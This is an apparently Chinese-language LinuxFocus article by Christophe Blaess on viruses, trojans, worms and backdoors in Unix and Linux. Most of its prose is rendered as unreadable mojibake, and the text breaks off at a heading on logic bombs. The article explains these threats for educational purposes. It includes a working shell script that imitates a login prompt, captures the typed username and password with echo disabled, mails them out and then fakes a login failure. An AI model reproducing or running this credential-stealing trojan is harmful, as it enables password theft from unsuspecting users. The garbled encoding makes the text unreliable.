[LinuxFocus-icon]
Ê×Ò³  |  Õ¾µãµØÍ¼  |  Ë÷Òý  |  ËÑË÷

ÐÂÎÅ | ¹ýÍùÆÚ¿¯ | Á´½Ó | ¹ØÓÚLF
[an error occurred while processing this directive]
Christophe Blaess
by Christophe Blaess (homepage)

¹ØÓÚ×÷Õß:

Christophe BlaessÊÇһλ¶ÀÁ¢µÄº½¿Õ¹¤³Ìʦ¡£ËûÊÇLinuxÃÔ£¬²¢ÇÒËûµÄ´óÁ¿¹¤×÷¶¼ÔÚÆäÉÏÍê³É¡£Ëû¸ºÔðЭµ÷Linux Documentation Project·¢²¼µÄmanÒ³µÄ·­Ò빤×÷¡£


Ŀ¼:

 

²¡¶¾£ºÖÚÈ˹Ø×¢µÄ»°Ìâ

virus

ÕªÒª:

±¾ÎÄ×î³õ·¢±íÔÚLinux Magazine France¹ØÓÚ°²È«µÄÌØ¼­ÉÏ¡£±à¼­¡¢×÷ÕßÒÔ¼°·­ÒëÕß¶¼Ë¬¿ìµØÓ¦ÔÊÁËLinuxFocus¿ÉÒÔ·¢±í¸ÃÌØ¼­ÉϵÄÿƪÎÄÕ¡£Òò´Ë£¬Ò»µ©½«ËüÃÇ·­Òë³ÉÓ¢ÎÄ£¬LinuxFocus¾Í»á¼°Ê±Õ¹ÏÖ¸øÄãÃÇ¡£¸ÐлËùÓвÎÓë´ËÏ×÷µÄÈËÔ±¡£ÒÔºó¶ÔÓÚͬÑù³ö´¦µÄÿƪÎÄÕ£¬¸ÃÕªÒª¿ÉÒÔÖØ¸´Ê¹Óá£



 

µ¼ÑÔ

±¾ÎĽ«¶ÔÒòÈëÇÖÈí¼þ¶øµ¼ÖÂÔÚLinuxϵͳÉϳöÏÖµÄÄÚ²¿°²È«ÎÊÌâ½øÐÐÆÀÊö¡£ÕâÀàÈí¼þ¿ÉÒÔÔÚÎÞÈ˸ÉÔ¤ÏÂÊµÊ©ÆÆ»µ£º²¡¶¾¡¢È䳿¡¢ÌØÂåÒÁľÂíµÈµÈ¡£ÎÒÃǽ«ÉîÈëÌÖÂÛ¸÷ÖÖ©¶´£¬Ôڴ˵ãÉÏÖ÷Ҫǿµ÷×ÔÓÉÈí¼þµÄµÃÓëʧ¡£

 

¼ò½é

ͨ³£ÓÐËÄÖÖ½ØÈ»²»Í¬ÀàÐ͵ÄÍþв£¬²»¹ýÓû§¾­³£»ìÏýËüÃÇ£¬ÕâÖ÷ÒªÊÇÒòΪһ´Î¹¥»÷µÄ·¢ÉúÍùÍùÊǸ÷ÖÖ»úÖÆÍ¬Ê±×÷ÓõĽá¹û£º

¶ÔËüÃǼÓÒÔ·ÖÀàͨ³£²»ÄÇôÈÝÒ×£»ÀýÈ磬ÓÐЩ³ÌÐòÔÚijЩ¹Û²âÕß¿´À´ÊDz¡¶¾£¬µ«ÆäËüÈËÈ´ÈÏΪËüÃÇÊÇÈ䳿£¬Òª×ö³ö×îÖյľö²ßÊÇÊ®·Ö¼¬Êֵġ£²»¹ý¶ÔÓÚ±¾ÎÄËùÉæ¼°µÄ·¶Î§À´Ëµ£¬Õâµ¹²¢²»ºÜÖØÒª£¬±¾ÎÄÒâÔÚ²ûÃ÷ÄÄÖÖÍþв»áΣ¼°Linuxϵͳ¡£

ÓëÆÕ±é¿´·¨ÕýÏà·´µÄÊÇ£¬ÕâËÄÖÖ»öº¦ÆäʵÒѾ­¶¼´æÔÚÓÚLinuxÉÏÁË¡£µ±È»£¬²¡¶¾µÄ´«²¥»·¾³²»ÏñÔÚÈçDOSÏÂÄÇôÓÐÀû£¬µ«ÏÖÓеÄÍþвÒ಻ÈÝСÊÓ¡£¾ÍÈÃÎÒÃÇ·ÖÎöÒ»ÏÂÓÐÄÄЩ·çÏÕ¡£

DZÔÚµÄÍþв  

²¡¶¾

²¡¶¾ÊÇһС¶Î°²ÖÃÔÚij¸öËÞÖ÷³ÌÐòºËÐÄλÖõĴúÂ룬ËüÄܹ»Í¨¹ý¸ÐȾеÄÖ´ÐÐÎļþÀ´×ÔÎÒ¸´ÖÆ¡£²¡¶¾×îÔç³öÏÖÓÚ70Äê´ú£¬µ±Ê±µÄ³ÌÐòÔ±ÔÚÍæÒ»¸ö½Ð×ö"core war"µÄÓÎÏ·¡£Õâ¸öÓÎÏ·À´×ÔÓÚBell AT&T laboratories[MARSDEN 00]¡£ÆäÄ¿±êÊÇÔÚÓÐÏÞµÄÄÚ´æÇøÓòÀï²¢ÐÐÔËÐУ¬Ð¡³ÌÐòÄܹ»»¥ÏàÆÆ»µ¡£²Ù×÷ϵͳûÓÐÌṩ³ÌÐòÄÚ´æÇøÓòÖ®¼äµÄ±£»¤£¬ÕâÑù¾ÍÔÊÐíÏ໥½ø¹¥ÒÔÏûÃð¶ÔÊÖ¡£Îª´Ë£¬ÓÐЩÈËʹÓÃ'0'À´¡°ºäÕ¨¡±×î´ó¿ÉÄܵÄÄÚ´æÇøÓò£¬Óë´Ëͬʱ£¬ÆäËüһЩÈËÓÀÔ¶ÔÚµØÖ·¿Õ¼äÖÐÒÆ¶¯£¬Ï£Íû¸²¸Çµô¶ÔÊֵĴúÂ룬ÓÐʱ£¬ËûÃÇÖеÄһЩ»áÁªºÏÆðÀ´ÏûÃðij¸öÄѶԸ¶µÄ¡°µÐÈË¡±¡£

ʵÏÖ¸ÃÓÎÏ·µÄËã·¨±»·­Òë³ÉÒ»ÃÅÌØ±ðΪÆä´´½¨µÄ»ã±àÓïÑÔ¡°red code¡±£¬Ëüͨ¹ý¾ø´ó¶àÊýÏÖÓлúÆ÷ÉϵķÂÕæÆ÷À´Ö´ÐС£ÓÎÏ·ÖеÄÀÖȤ¸ü¶àÔ´ÓÚ¿ÆÑ§µÄºÃÆæ£¬¾ÍÈç¶Ôthe Life of Conway Game£¬²»¹æÔòË鯬ÐκÍÒÅ´«Ëã·¨µÈµÄ¿ñÈÈÒ»Ñù¡£

²»¹ý£¬Ëæ×ŹØÓÚcore warµÄÎÄÕ·¢±íÔÚScientific American[DEWDNEY 84]ÉÏ£¬²»¿É±ÜÃâµÄÊ·¢ÉúÁË£¬ÓÐЩÈË¿ªÊ¼±àдС¶ÎµÄ×ÔÎÒ¸´ÖƵĴúÂ룬ÕâЩ´úÂëÌØ±ðÕë¶ÔÓÚÈíÇýÆô¶¯ÉÈÇø»òÕß¿ÉÖ´ÐÐÎļþ¡£Æð³õÊÇÔÚApple ][¼ÆËã»úÉϳöÏÖ£¬½ÓÏÂÀ´¾Íµ½ÁËMacIntoshºÍPCµÄ¼ÆËã»úÉÏ¡£

MS DOS²Ù×÷ϵͳ³ÉΪÁ˲¡¶¾·±Ö³»·¾³µÄ¾ø¼Ñ֮ѡ£º¾²Ì¬¿ÉÖ´ÐÐÎļþÓÐ×ÅÖÚËùÖÜÖªµÄ¸ñʽ£¬Ã»ÓÐÄÚ´æ±£»¤£¬Ã»ÓлùÓÚÎļþ´æÈ¡È¨Ï޵ݲȫÉèÖ㬹㷺µØÔÚÄÚ´æÖжѵþʹÓÃTSR³£×¤³ÌÐò£¬µÈµÈ¡£ÎÒÃDZØÐ뻹¼ÓÉÏÒ»ÌõÓû§ÐÄÀí״̬µÄÒòËØ£¬ËûÃÇ·è¿ñµØÓÃÈíÅ̽»»»¿ÉÖ´ÐгÌÐòÉõ¶øºÁ²»¿¼ÂÇÎļþµÄÀ´Ô´¡£

ÔÚ×î¼òµ¥µÄģʽÖУ¬²¡¶¾¾ÍÊÇһС¶Î´úÂ룬Ëü¿ÉÒÔÔÚÆô¶¯Ò»ÏîÓ¦ÓóÌÐòʱ×÷Ϊ¸½¼þÖ´ÐС£Ëü½«ÀûÓÃÕâ¶Îʱ¼äÀ´²éÕÒÆäËüÉÐδ¸ÐȾµÄ¿ÉÖ´ÐÐÎļþ£¬½«Æä×ÔÉíÄÚǶÈëÕâЩÎļþÖУ¨ÒªÊÇ¿¼ÂÇÔÙÖܵ½Ò»Ð©£¬×îºÃ±£³ÖÔ­³ÌÐò²»×÷Ð޸쩲¢Í˳ö¡£Ò»µ©Æô¶¯ÐµĿÉÖ´ÐÐÎļþʱ£¬½ø³Ì¼´»áÖØÐÂÆô¶¯¡£

µÃÒæÓÚ´óÁ¿¡°ÀûÆ÷¡±µÄЭÖú£¬²¡¶¾¿ÉÒÔ×Ô¶¯¸´ÖÆ×ÔÉí¡£ÔÚ[LUDWIG 91]ºÍ[LUDWIG 93]ÖУ¬ÓйØÓÚfor DOS²¡¶¾µÄÏêϸÃèÊö£¬ËüÃÇʹÓùîÃØµÄÒþÉíÊõÒÔ±£³ÖÁìÏÈÓÚµ±Ç°µÄɱ¶¾Èí¼þ£ºËæ»ú¼ÓÃÜ£¬´úÂëÓÀ¾Ã±ä»¯µÈµÈ¡£ÄãÉõÖÁ¿ÉÄÜÓöµ½Ê¹ÓÃÒÅ´«Ëã·¨À´ÓÅ»¯ÆäÉú´æÆÚºÍ·±Ö³ÄÜÁ¦µÄ²¡¶¾¡£Ïà¹ØµÄÐÅÏ¢Äã¿ÉÒÔÔÚÒÔÏÂÕâÆª·Ç³£ÖøÃûµÄÎĵµÖÐÕÒµ½£º[SPAFFORD 94].

¶øÎÒÃDZØÐëÀμÇÓÚÐĵÄÊǼÆËã»ú²¡¶¾ÒѾ­³¬Ô½ÁËÐéÄâÉú»îÖÐÊÔÑéµÄÖ÷ÌⷶΧ£¬Ëü¿ÉÒÔÔì³É´óÃæ»ýµÄË𺦡£Ò»Ð¡¶Î´úÂëµÄ¶àÖØ¸´ÖƱ¾Öʲ»¹ýÊǿռäµÄÀË·Ñ£¨´ÅÅ̺ÍÄڴ棩£¬¶ø²¡¶¾Ôò¿ÉÒÔ´Ë×÷Ϊ֧³Å¡ª¡ªÔËÊ乤¾ß¡ª¡ªÀ´·þÎñÓÚÆäËü¸ü¼ÓÁîÈ˲»¿ìµÄ¶«Î÷£ºÂß¼­Õ¨µ¯£¬ÎÒÃǽ«ÔÚÌØÂåÒÁľÂíÖÐÔÙ´Î̸µ½Ëü¡£

 

ÌØÂåÒÁľÂíºÍÂß¼­Õ¨µ¯

Timeo Danaos et dona ferentes - ¼´±ãµ±Ï£À°ÈËËÍÀñʱ£¬ÎÒÒ²¾åÅÂËûÃÇ¡£ (Virgile, Aeneid,II, 49)¡£

±»Î§À§µÄÌØÂåÒÁÈË×÷ÁËÒ»¸öÔã¸âµÄ¾ö¶¨£¬ËûÃǽ«´óÁ¿±»Ï£À°¹¥»÷Õß×÷Ϊ×ڽ̼ÀÆ·¶øÒÅÆúµÄľÂíµñÏñ·Å½øÁ˳ǡ£ÕæÕýµÄÍ»»÷¶Ó¾Í²ØÔÚÌØÂåÒÁľÂíµÄ²à²¿£¬´ýµ½ËûÃÇÒ»µ©ÉøÈë³ÇÄÚ£¬±ãÀûÓÃҹĻÑÚ»¤´ÓÀïÃæ¹¥»÷³Ç³Ø£¬ÕâÑùʹµÃÏ£À°ÈË×îÖÕÓ®µÃÁËÌØÂåÒÁÕ½ÕùµÄʤÀû¡£

ÖøÃûµÄ¡°ÌØÂåÒÁľÂí¡±³£±»ÓÃ×÷¼ÆËã»ú°²È«ÁìÓòµÄרÃÅÊõÓï,Ëü±íʾһ¸ö¿´ËÆÎÞº¦µÄÓ¦ÓóÌÐò£¬¾ÍÈçÉÏÃæÌáµ½µÄ²¡¶¾Ò»Ñù£¬´«²¥ÆÆ»µÐԵĴúÂëÂß¼­Õ¨µ¯¡£

Âß¼­Õ¨µ¯ÊÇÒ»¶Î¶ñÒâÉ˺¦µÄ³ÌÐò£¬Ëü¾ß±¸¸÷ÖÖåÄÒìµÄЧÁ¦£º

ÔÚijЩÇé¿öÏ£¬Âß¼­Õ¨µ¯»áÕë¶ÔÌØ¶¨µÄÄ¿±êϵͳÀ´±àд£¬ÒÔÊÔͼÇÔÈ¡ÆäÉϵĻúÃÜÐÅÏ¢£¬ÆÆ»µÌØÊâÎļþ»òÕßµÁÓÃÓû§Éí·Ýʶ±ðÈ¥»ÙËðÆäÃûÓþ¡£Í¬ÑùµÄÕ¨µ¯ÔÚÈÎºÎÆäËûÀàÐ͵ÄϵͳÉÏÔòÊÇÎÞº¦µÄ¡£

Âß¼­Õ¨µ¯Ò²¿ÉÒÔÊÔͼÔÚÎïÀíÉÏÆÆ»µÆäפÁôµÄϵͳ¡£ÕâÖÖ¿ÉÄÜÐÔËäÈ»²»´ó£¬µ«ÊÇȷʵ´æÔÚ£¨É¾³ýCMOS´æ´¢Æ÷ÄÚÈÝ£¬ÐÞ¸ÄmodemÉÁ´æÄÚÈÝ£¬´òÓ¡»ú¡¢»æÍ¼ÒÇ¡¢É¨ÃèÒǵÄÍ·²¿»ÙÃðÐÔµÄÒÆ¶¯£¬Ó²Å̶Á´ÅÍ·µÄ¼ÓËÙÔËת...£©

ÌÈÈô¼ÌÐø°´ÕÕ¡°Õ¨µ¯¡±µÄ±ÈÓ÷ÃèÊö£¬ÎÒÃÇ¿ÉÒÔ˵Âß¼­Õ¨µ¯ÐèÒªÀ×¹ÜÀ´Òý±¬¡£Êµ¼ÊÉÏ£¬¾ÍЧÂʶøÑÔ£¬ÌØÂåÒÁľÂí»ò²¡¶¾ÔÚÊ×´ÎÆô¶¯Ê±¾ÍÖ´ÐÐÆÆ»µÐԵIJÙ×÷ÊÇÒ»¸ö²»ºÃµÄ²ßÂÔ¡£ÔÚ°²×°ÁËÂß¼­Õ¨µ¯Ö®ºó£¬×îºÃÊǵȴýÒ»»áÔÙ±¬Õ¨¡£¶ÔÓÚ²¡¶¾´«²¥À´Ëµ£¬Õâ¿ÉÒÔÔö¼ÓÆäÔÚÆäËüϵͳÖд«²¥µÄ¡°»ú»á¡±£»¶ø¾ÍÌØÂåÒÁľÂíÀ´Ëµ£¬Ôò¿ÉÒÔ²»ÈÃÓû§Ì«ÈÝÒ×·¢ÏÖеÄÓ¦ÓóÌÐò°²×°ÓëËû»úÆ÷ÉϵÄÒì³£ÏÖÏóÖ®¼äµÄÁªÏµ¡£

¾ÍÏñÈκκ¦ÈËÖ®¾ÙÒ»Ñù£¬·¢×÷»úÖÆÒ²ÊǸ÷Óв»Í¬£º°²×°ºóÑÓ³ÙÊ®Ì죬ɾ³ýÌØ¶¨Óû§Õʺţ¨ÁÙʱɾ³ý£©£¬¼üÅ̺ÍÊó±êÍ£Ö¹»î¶¯30·ÖÖÓ£¬´òÓ¡»ú¶ÓÁеĸ߸ºÔØ...ÎÞËù²»È±!×îÓÐÃûµÄÌØÂåÒÁľÂíÊÇÆÁÄ»±£»¤³ÌÐò£¬¾¡¹Ü½ñÌì¿´À´ÕâÓеãÌ«ÀÏÌס£ÔÚÓÕÈ˵ÄÍâ±íÏ£¬ÕâЩ³ÌÐòÄܹ»²»ÊܸÉÈŵØÊµÊ©ÆÆ»µ£¬ÌرðÊÇÈç¹ûÂß¼­Õ¨µ¯Ç¡ÔÚһСʱ֮ºóÒý±¬£¬ÄÇô¼¸ºõ¿ÉÒԿ϶¨Óû§´ËʱÒѾ­²»ÔÚ¼ÆËã»úÇ°ÃæÁË¡£

ÁíÒ»¸öÌØÂåÒÁľÂíµÄÖøÃûÀý×ÓÊÇÏÂÃæÕâ¸ö½Å±¾£¬ËüÏÔʾһ¸öµÇ¼/ÃÜÂ루login/password£©ÆÁÄ»£¬²¢·¢ËÍÐÅÏ¢¸øÆô¶¯³ÌÐòµÄÈËÈ»ºóÍ˳ö¡£ÈôËü¹¤×÷ÓÚδʹÓõÄÖÕ¶Ë£¬¸Ã½Å±¾½«»á·ý»ñϸö³¢ÊÔÁ¬½ÓµÄÓû§µÄÃÜÂë¡£

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

Ϊʹ֮ÔÚÍê³ÉÒÔºó¶Ï¿ªÁ¬½Ó£¬Ëü±ØÐëÓÃshellÃüÁîexecÆô¶¯¡£µ±Êܺ¦Õß¿´µ½"Login incorrect"ÏûϢʱ£¬»áÒÔΪ×Ô¼ºÊäÈë´íÎó£¬ËûÃÇ»áÒÔ³£¹æµÄ·½·¨³¢ÊÔÔÙ´ÎÁ¬½Ó¡£¸üΪ¸ß¼¶µÄ°æ±¾Äܹ»Ä£ÄâX11Á¬½Ó¶Ô»°¿ò¡£ÎªÁ˱ÜÃâÂäÈëÕâÖÖȦÌ×£¬×îºÃÊÇÏÈÔÚÖÕ¶ËÉÏʹÓÃÒ»¸ö´íÎóµÄµÇ¼/ÃÜÂ루ÕâÖÖ·½·¨·´ÆäµÀ¶øÐÐÖ®£¬Ê®·ÖÈÝÒ×¶øÇҺܿì¾ÍÄÜѧ»á£©¡£

 

È䳿

Paul·¢ÏÖ×Ô¼ºÔÚWormÖ®ÉÏ£¬»¶ºôȸԾ£¬¾ÍÏñһλ¾ýÖ÷Ö÷Ô×ÁËÕû¸öÓîÖæ¡£(F. Herbert "Dune")

"Worms"³ö×ÔÓÚÓ벡¶¾Ò»ÑùµÄÔ­Àí¡£ËüÃÇÊÇÒ»ÖÖ³¢ÊÔ¸´ÖÆ×ÔÉíÒÔ¾¡¿ÉÄÜ´«²¥µÃ×î¹ãµÄ³ÌÐò¡£ËüÃÇÒ²¿ÉÒÔЯ´øÒ»Ã¶×°±¸ÁËÑÓ³Ù´¥·¢Æ÷µÄÂß¼­Õ¨µ¯£¬¾¡¹ÜÕâ²¢·ÇÆäÖ÷Òª¹¦ÄÜ¡£È䳿Ó벡¶¾µÄ²î±ðÔÚÓÚÈ䳿²»Ê¹ÓÃËÞÖ÷³ÌÐò×÷Ϊ´«²¥Ã½½é£¬ËüÃÇÊÔͼµÃÒæÓÚÓÉÍøÂçÌṩµÄ¹¦ÄÜ£¬ÀýÈçµç×ÓÓʼþÀ´´Óһ̨»úÆ÷´«µ½Áíһ̨»úÆ÷¡£

È䳿µÄ¼¼ÊõµÈ¼¶Ï൱¸ß£»ËüÃÇÀûÓÃÌá¹©ÍøÂç·þÎñµÄÈí¼þµÄ©¶´À´´ÙʹÆäÔÚÔ¶³Ì»úÆ÷ÉÏ×ÔÎÒ¸´ÖÆ¡£ÆäÔ­ÐÍÊÇ1988"Internet Worm"¡£

Internet WormÊÇÒ»¸ö´¿È䳿µÄÀý×Ó£¬Ã»Óаüº¬Âß¼­Õ¨µ¯£¬²»¹ýÆä²»Â¶ÉùÉ«µÄÆÆ»µÐ§¹ûÊ®·Ö¿ÉÅ¡£Äã¿ÉÒÔÔÚ[KEHOE 92]ÉÏÕÒµ½¶ÔÆä¼ò¶Ì¶ø¾«µ½µÄÃèÊö£¬»òÕßÔÚ[SPAFFORD 88]»ò[EICHIN 89]ÉÏÕÒµ½ÏêϸµÄ·ÖÎö±¨¸æ¡£

¼ò¶øÑÔÖ®£¬È䳿³ÌÐòµÄ×÷ÕßÊÇRobert Morris Jr£¬Ëûµ±Ê±ÊÇCornell´óѧµÄѧÉú£¬²¢ÒѾ­ÒòΪһƪ¹ØÓÚÍøÂçЭÒéÖеݲȫÎÊÌâµÄÎÄÕÂ[MORRIS 85]¶øÐ¡ÓÐÃûÆø¡£Ëû±ãÊÇÔÚNCSC£¨NSAµÄ·ÖÖ§²¿ÃÅ£©Òò¼ÆËã»ú°²È«¶ø±»Ö¸¿ØµÄÄǸöÈË¡£³ÌÐòÊÇÔÚ1988Äê11ÔÂ2ÈÕ°øÍí·¢²¼µÄ£¬²¢ÇÒµ¼ÖÂÁ¬½Óµ½InternetÉϵľø´ó¶àÊýϵͳֹͣÔËÐС£ËüµÄ¹¤×÷²½ÖèÈçÏ£º

  1. Ò»µ©ÉøÍ¸½øÈë¼ÆËã»ú£¬È䳿¾Í³¢ÊÔ´«ÈëÍøÂ硣ΪÁË»ñÈ¡µØÖ·£¬Ëü¶ÁȡϵͳÎļþ²¢µ÷Óù¤¾ß³ÌÐòÈçnetstatÀ´Ìṩ¹ØÓÚÍøÂç½Ó¿ÚµÄÐÅÏ¢¡£
  2. ½ÓÏÂÀ´£¬ËüÊÔͼ»ñµÃÓû§Õʺš£Îª´Ë£¬ËüÄÃ×ÖµäÄÚÈÝÓëÃÜÂëÎļþ×÷±È½Ï¡£Í¬Ê±£¬Ëü³¢ÊÔʹÓÃÓû§Ãû×ÖµÄ×éºÏ£¨·´Ïò£¬Öظ´µÈµÈ£©×÷ΪÃÜÂë¡£ÕâÒ»²½»áÒª½èÖúÓÚϵͳµÄµÚÒ»¸ö©¶´£ºÃÜÂë¼ÓÃÜÔÚÒ»¸ö¿É¶ÁµÄÎļþ£¨/etc/passwd£©ÖУ¬ÕâÑù±ã¿ÉÒÔ´ÓijЩÓû§¶ÔÃÜÂëµÄÔã¸âÑ¡ÔñÖлñÒæ¡£µÚÒ»¸ö©¶´ÏÖÔÚÒѾ­Í¨¹ýʹÓÃshadow passwords»ñµÃ½â¾ö¡£
  3. Èç¹û³É¹¦µØ»ñµÃÁËÓû§µÄÕʺţ¬È䳿»áÊÔͼÕÒ³öÄÇЩÌṩֱ½Ó·ÃÎʶøÎÞÐèÉí·Ý¼ø¶¨µÄ»úÆ÷£¬Ò²¾ÍÊÇʹÓÃ~/.rhostºÍ/etc/hosts.equivÎļþ¡£ÔÚÄÇÖÖÇé¿öÏ£¬ÔÙʹÓÃrshÀ´ÔÚÔ¶³Ì»úÆ÷ÉÏÖ´ÐÐÖ¸Áî¡£ÕâÑù£¬¾ÍÄܽ«Æä×ÔÉí¸´ÖÆµ½ÐµÄÖ÷»úÉϲ¢ÇÒÑ­»·ÔٴοªÊ¼¡£
  4. ·ñÔòµÄ»°£¬¾ÍʹÓõڶþ¸öϵͳ©¶´À´½øÈëÆäËü»úÆ÷£ºfingerd»º´æÒç³ö©¶´¡££¨¼ì²éÎÒÃǹØÓÚ°²È«±à³ÌµÄϵÁÐÎÄÕ£ºAvoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows¡££©
    Õâ¸öȱÏÝÔÊÐíÁËÔ¶³Ì´úÂëÖ´ÐС£È»ºóÈ䳿Äܹ»¸´ÖÆ×ÔÉíµ½ÐµÄϵͳÉϲ¢ÔٴοªÊ¼¡£Êµ¼ÊÉÏ£¬ÕâÖ»ÔÚijЩÀàÐ͵Ĵ¦ÀíÆ÷ÉÏÓÐЧ¡£
  5. ×îºó£¬Ê¹ÓõÚÈý¸ö©¶´£ºÒ»¸öµ÷ÊÔÑ¡ÏËüĬÈϵØÔÚsendmailÊØ»¤½ø³ÌÖм¤»î£¬ÔÊÐíÓʼþ·¢ËÍ×îÖÕ´«ÊäµÄÄÚÈݵ½³ÌÐòÖ¸¶¨×÷ΪĿ±êµÄ±ê×¼Êä³öÉÏ¡£¸ÃÑ¡ÏîÔÚÔËÐлúÆ÷ÉÏÓ¦¸ÃÓÀÔ¶²»±»¼¤»î£¬µ«ÊÇ£¬²»ÐÒµØÊÇ£¬¾ø´ó¶àÊýϵͳ¹ÜÀíÔ±ºöÊÓÁËËüµÄ´æÔÚ¡£

ÎÒÃÇӦעÒâµÄÊÇÒ»µ©È䳿Äܹ»ÔÚÔ¶³Ì»úÆ÷ÉÏÖ´ÐÐһЩָÁÄÇô¸´ÖÆ×ÔÉíµÄ·½·¨ÊÇÏ൱¸´Ôӵġ£ËüÐèÒª´«ÊäÒ»¸öСµÄC³ÌÐò£¬ÔÚÏÖ³¡ÖØÐ±àÒ룬ȻºóÆô¶¯¡£½Ó×Å£¬Ëü½¨Á¢Ò»ÌõTCP/IPÁ¬½ÓÀ´Æô¶¯¼ÆËã»ú²¢È¡»ØËùÓÐÈ䳿µÄ¶þ½øÖƳÌÐò´úÂë¡£ÄÇЩ×îÖյĺÍÔ¤±àÒëµÄÈ䳿´úÂëÏÖ´æÓÚ¸÷ÖÖÌåϵ½á¹¹(VaxºÍSun),¶øÇÒÏà¼Ì¶¼×÷Á˲âÊÔ¡£´ËÍ⣬È䳿·Ç³£ÉÆÓÚÒþ²Ø×ÔÉí£¬ÕâÈÃÄãÎÞ¼£¿ÉѰ¡£

²»ÐÒµØÊÇ£¬×èÖ¹¼ÆËã»ú¸ÐȾÈ䳿µÄ»úÖÆ²¢·Ç×ÜÄÜÈçÔ¸µØÆð×÷Ó㬶øÇÒ²»°üº¬Âß¼­Õ¨µ¯µÄInternet 88È䳿µÄº¦´¦¾ÍÔÚÓÚµ¼ÖÂËù¸ÐȾϵͳµÄ¼«¶È¹ýÔØ£¨ÌرðÊǶÔÓʼþµÄ×èÈû£¬ÕâÒýÆðÓʼþÌá½»µÄÑÓ³Ù£©¡£

È䳿µÄ×÷ÕßÔø¾­ÔÚ¼àÓüÖдô¹ýÒ»¶Îʱ¼ä¡£

ÓÉÓÚÆä¸´ÔÓÐÔ£¬È䳿Ïà¶ÔҪϡÉÙһЩ¡£Ò»¶¨²»Òª½«ËüÃÇÓë±ðµÄÀàÐ͵ÄÍþв£¬Ïñ×÷Ϊµç×ÓÓʼþ¸½¼þ´«ÊäµÄ²¡¶¾ÈçÖøÃûµÄ"ILoveYou"Ïà»ìÏý¡£ÄÇЩ¶¼ÊÇÊ®·Ö¼òµ¥µÄ£¬ËüÃDz»¹ýÊÇÓúê±àдµÄ£¨ÔÚBasicÖУ©¿ÉÖ´ÐгÌÐòÒÔÔÚÔĶÁÓʼþʱ×Ô¶¯Æô¶¯¡£ÕâÖ»¶ÔijЩ²Ù×÷ϵͳÓÐЧ£¬ÀýÈçµ±ÓʼþÔĶÁÆ÷ÅäÖõÃÌ«¼òµ¥Ê±¡£ÕâЩ³ÌÐò¸üÏñÌØÂåÒÁľÂí£¬¶ø·ÇÈ䳿£¬ÒòΪËüÃǶ¼ÒªÇóÓû§µÄ²Ù×÷À´Æô¶¯³ÌÐò¡£

 

ºóÃųÌÐò

¿ÉÒÔÄúóÃųÌÐòÓëÌØÂåÒÁľÂí×÷±È½Ï£¬²»¹ýËüÃDz¢²»Ïàͬ¡£Ò»¸öºóÃųÌÐòÔÊÐí£¨¡°¸ß¼¶¡±£©Óû§²Ù×÷Èí¼þÀ´ÐÞ¸ÄÆäÐÐΪ¡£Ëü¿ÉÓëÓÎÏ·ÖÐÓÃÀ´»ñÈ¡¸ü¶à×ÊÔ´£¬»ò´ïµ½¸ü¸ß¼¶±ðµÈÄ¿±êµÄÆÛÆ­´úÂëÏàÌá²¢ÂÛ¡£Ö»ÊÇÕâҲͬÑùÊÊÓÃÓڹؼüµÄÓ¦ÓóÌÐò£¬ÈçÁ¬½ÓÈÏÖ¤³ÌÐò»òµç×ÓÓʼþ£¬ÒòΪËüÃÇ¿ÉÒÔ¶ÔÃÜÂë½øÐÐÒþ²Ø·ÃÎÊ£¬¸ÃÃÜÂë½öÓÐÈí¼þµÄ´´½¨ÕßÖªÏþ¡£

³ÌÐòԱϣÍû¼õÇáµ÷ÊԽ׶εŤ×÷£¬Òò´Ë³£³£ÁôÓÐÒ»¸öСµÄºóÃÅ¿ª·ÅÒÔʹ֮Äܹ»ÎÞÐè¾­¹ýÈÏÖ¤»úÖÆ¶øÖ±½ÓʹÓÃÈí¼þ£¬¼´Ê¹µ±Ó¦ÓóÌÐòÒѾ­°²×°ÔÚ¿Í»§¶ËʱҲÊÇÈç´Ë¡£ÓÐʱËüÃÇʹÓÃĬÈÏÃÜÂ루system,admin, superuserµÈµÈ£©ÊÇÕýʽµÄ·ÃÎÊÉèÖ㬲»¹ýÕâЩÃÜÂ벢ûÓÐÔÚÎĵµÖÐ×Ðϸ¼ÇÔØ£¬½á¹û¹ÜÀíÔ±ÈÔ¾ÉÈÃÆä¿ª×Å¡£

¼ÇµÃ²»Í¬µÄÒþ²ØµÄ·ÃÎÊÈë¿ÚÊÇÔÚ"Wargame"µçÓ°ÖвÅÔÊÐí·ÅÔÚºÍϵͳÄÚºËÒ»ÆðÌÖÂ۵쬲»¹ýÄãÒ²¿ÉÒÔÕÒµ½¹ØÓÚ´ËÀàʵ¼ùµÄ¸üÔ籨µÀ¡£ÔÚһƪÄÑÒÔÖÃÐŵÄÎÄÕÂ[THOMPSON 84]ÖУ¬UnixÖ®¸¸ÆäÖеÄһλKen ThompsonÃèÊöÁËËûÓÚÊýÄêǰÔÚUnixϵͳÉÏʵÏÖµÄÒþ²ØµÄ·ÃÎÊÈë¿Ú£º

ÔõÑù½â¾öÕâ¸öÎÊÌ⣿¿È£¬ºÁÎÞ°ì·¨£¡Î¨Ò»µÄ·½·¨¾ÍÊÇʹÓÃÒ»¸öȫеÄÏµÍ³ÖØÐÂÆô¶¯¡£³ý·ÇÄãÔÚ°²×°»úÆ÷ʱ´ÓÍ·´´½¨ËùÓеÄ΢´úÂ룬²Ù×÷ϵͳ£¬±àÒëÆ÷£¬ÊµÓù¤¾ß£¬·ñÔòÄãÎÞ·¨È·¶¨Ã¿¸öÓ¦ÓóÌÐò¶¼ÊǸɾ»µÄ£¬¼´Ê¹ÊÇÄÇЩÓÐÔ´ÂëµÄ³ÌÐò¡£

 

ÄÇô£¬LinuxÔõôÑù£¿

ÎÒÃdzÊÏÖÁËÈκÎϵͳÉϵÄÖ÷Òª·çÏÕ¡£ÏÖÔÚ£¬ÈÃÎÒÃÇÀ´¿´¿´Óë×ÔÓÉÈí¼þºÍLinuxÏà¹ØµÄÍþв¡£

 

Âß¼­Õ¨µ¯

